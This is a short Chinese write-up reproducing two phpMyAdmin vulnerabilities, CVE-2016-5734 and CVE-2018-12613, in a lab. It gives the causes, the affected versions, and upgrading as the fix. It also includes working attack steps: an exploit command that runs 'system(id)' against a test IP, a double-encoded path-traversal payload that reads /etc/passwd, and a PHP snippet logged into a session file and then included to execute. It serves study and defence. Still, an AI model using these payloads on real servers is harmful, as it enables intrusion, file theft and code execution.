phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)+4.8.1 远程文件包含漏洞(CVE-2018-12613)
有情有义又是无米之炊,无情无义却是饕餮盛宴.
远程代码执行漏洞(CVE-2016-5734)
- phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。
主要原因由于将用户输入的信息拼接进preg_replace函数第一个参数中,而在PHP5.4.7以前,preg_replace存在漏洞,可以\0进行截断,并将正则模式修改为e,进而执行命令。
漏洞版本:
- 1、授权用户;
2、phpmyadmin4.3.0-4.6.2 ;
3、PHP 4.3.0-5.4.6
漏洞复现:
- 漏洞poc:https://www.exploit-db.com/exploits/40185/
python exp.py -u root -p root -d test -c “system(id)” http://192.168.204.130:8080
远程文件包含漏洞(CVE-2018-12613)
- phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。
主要原因在index.php中存在一处文件包含逻辑,
满足以下5个条件
1、不为空
2、字符串
3、不以index开头
4、不在$target_blacklist这个黑名单中
5、Core::checkPageValidity()函数为TRUE
进而通过二次编码即可绕过检查,造成远程文件包含漏洞。
漏洞版本:
- phpMyAdmin 4.8.0和4.8.1
漏洞复现:
-首先搭建好环境,判断是否存在漏洞经过二次编码绕过%253f…/…/…/…/…/etc/passwd
然后在sql语句中执行一些语句记录到日志,然后在包含即可
比如select ‘<?php echo `id ?>’;
然后查看cookie构造读取文件%253f…/…/…/…/…/tmp/sess_250df52a97e85b7ea4cc717946791ea1
漏洞修复:
-
升级升级升级。
余生很长,请多指教。